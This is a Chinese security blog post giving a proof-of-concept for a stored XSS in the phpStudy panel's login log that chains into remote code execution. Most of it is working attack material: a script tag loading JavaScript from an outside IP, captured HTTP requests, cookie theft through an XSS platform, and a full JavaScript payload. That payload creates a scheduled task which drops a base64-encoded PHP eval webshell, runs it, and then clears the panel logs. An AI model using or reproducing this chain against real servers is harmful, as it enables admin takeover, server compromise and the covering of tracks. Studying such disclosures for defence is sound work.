phpstudy后台管理页面利用存储型XSS实现one click RCE

一、漏洞介绍

phpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。phpStudy面板存在存储型XSS漏洞,攻击者可以通过JS调用面板中的计划任务执行系统命令。(文末附poc)

二、受影响的版本

  • 小皮windows面板V0.102以及以下版本
  • 小皮Linux面板X1.29以及以下版本

据师傅们反馈,官网版本已悄悄更新,师傅们可以根据登录失败返回信息判断是否存在该漏洞

漏洞未修复时的版本:

image

漏洞已修复后的版本:

image

三、漏洞复现

1、下载小皮面板

官方下载地址:https://www.xp.cn/

2、漏洞复现

安装完成后来到登录页面,复制好相关后台连接和用户名密码后进行正常登录。

image

登录处验证代码如下:

// 登录
	public static function login($username,$pwd,$verifycode){
		if($username==''){
			return array('code'=>1,'msg'=>'用户名不能为空');	
		}
		if($pwd == ''){
			return array('code'=>1,'msg'=>'密码不能为空');
		}
		if(!sessionStarted()){
			sessionStart();
		}
		if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
			return array('code'=>1,'msg'=>'验证码不正确');
		}
		$request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
		$res = Socket::request($request);
		if(!$res){
			return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
		}
		$res = json_decode($res,true);
		if($res['result'] == -1){
			return array('code'=>300,'msg'=>$res['msg']);
		}
		if($res['result'] == 0){
			return array('code'=>1,'msg'=>$res['msg']);
		}

		//token校验
		$_SESSION['this_token'] = $res['token'];
		// $access_token = md5(time()).md5(rand(1,100));
		$access_token = $res['token'];
		$_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
		$res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
		return $res;
	}

漏洞验证

在用户名处插入xss语句,验证码需要写对,不然走不到后面的步骤,进行登录,产生登录日志
使用弹窗payload进行测试

<script>alert(1)</script>

image

日志会记录登录失败的用户名,并在登录后将尝试的用户名直接显示在小皮首页当中,而这个过程是没有过滤的,也就可以进行任意xss。

当管理员登录了面板就会触发xss。

image
image

利用xss平台获取cookies

image

在用户名处插入,待管理员登录后台后即可触发。

image

最后返回我们的xss平台,发现小皮面板的登录cookie已经被我们的xss平台接收到了。
image

进一步利用

要实现rce的话可以配合小皮自带的计划任务,实现后台添加计划任务实现写webshell、反弹shell等操作,这些交给js就可以实现自动化完成。

其中获取日志的代码如下

js代码内容:

1、添加计划任务,用户名不能重复,所以直接js中生成随机字符串
2、获取刚刚添加的任务ID
3、请求立即执行
4、删除刚刚添加的计划任务
5、清空日志,避免重复触发

<script src="http://xx.xx.xx.xx:6543/phpstudy_rce.js"></script>
POST /service/app/account.php HTTP/1.1
Host: 192.168.88.129:9080
Content-Length: 132
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.129:9080
Referer: http://192.168.88.129:9080/EC9C0E
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f722243f74f8d841603096bd
Connection: close

type=login&username=%3Cscript+src%3D%22http%3A%2F%2F43.138.226.251%3A6543%2Fphpstudy_rce.js.js%22%3E%3C%2Fscript%3E&password=111&verifycode=hzuB

1、添加任务

POST /service/app/tasks.php?type=save_shell HTTP/1.1
Host: 192.168.88.129:9080
Content-Length: 79
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.129:9080
Referer: http://192.168.88.129:9080/EC9C0E
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f722243f74f8d841603096bd
Connection: close

task_id=&title=shell_title&exec_cycle=5&week=1&day=3&hour=1&minute=1&shell=calc

2、获取计划任务列表

GET /service/app/tasks.php?type=task_list HTTP/1.1
Host: 192.168.88.137:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.88.137:9080/6BE769
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bd39b63e7cf8d8412a87d1a1
Connection: close

3、执行计划任务

POST /service/app/tasks.php?type=exec_task HTTP/1.1
Host: 192.168.88.129:9080
Content-Length: 5
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.129:9080
Referer: http://192.168.88.129:9080/EC9C0E
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f722243f74f8d841603096bd
Connection: close

tid=1

4、删除计划任务

POST /service/app/tasks.php?type=del_task HTTP/1.1
Host: 192.168.88.137:9080
Content-Length: 5
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.137:9080
Referer: http://192.168.88.137:9080/6BE769
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bd39b63e7cf8d8412a87d1a1
Connection: close

tid=1

5、清理操作日志记录

POST /service/app/log.php?type=clearlog HTTP/1.1
Host: 192.168.88.137:9080
Content-Length: 13
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.137:9080
Referer: http://192.168.88.137:9080/6BE769
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bd39b63e7cf8d8412a87d1a1
Connection: close

type=clearlog

phpstudy_rce.js

function exp() {
    $.ajax({
        url: '/service/app/tasks.php?type=task_list',   //获取计划任务列表
        type: 'GET',
        headers:{
            "X-Requested-With": "XMLHttpRequest"
        },
        dataType: 'json',
        success: function (data) {
            var id = data.data[0].ID;    //任务名称
            $.ajax({
                url: '/service/app/tasks.php?type=exec_task',     //执行计划任务
                type: 'POST',
                headers:{
                    "X-Requested-With": "XMLHttpRequest",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
                },
                data: { tid: id },
                dataType: 'json',
                success: function (res) {
                    $.ajax({
                        url: '/service/app/log.php?type=clearlog',
                        type: 'POST',
                        data: { type: 'clearlog' },
                        dataType: 'json',
                        success: function (res2) {}
                    });
                }
            });
        }
    });
}

function save() {
    var data = new Object();
    data.task_id = '';
    data.title = 'shell_title';
    data.exec_cycle = '5';
    data.week = '1';
    data.day = '3';
    data.hour = '1';
    data.minute = '1';
    data.shell = 'echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==" | base64 -d > /root/webshel.php';
    $.ajax({
        url: '/service/app/tasks.php?type=save_shell',
        type: 'POST',
        headers:{
            "X-Requested-With": "XMLHttpRequest",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
        },
        data: data,
        dataType: 'json',
        success: function (res) {
            exp();
        }
    });
}

save();

image

posted @ 2023-02-06 15:49  小阿辉谈安全  阅读(232)  评论(0编辑  收藏  举报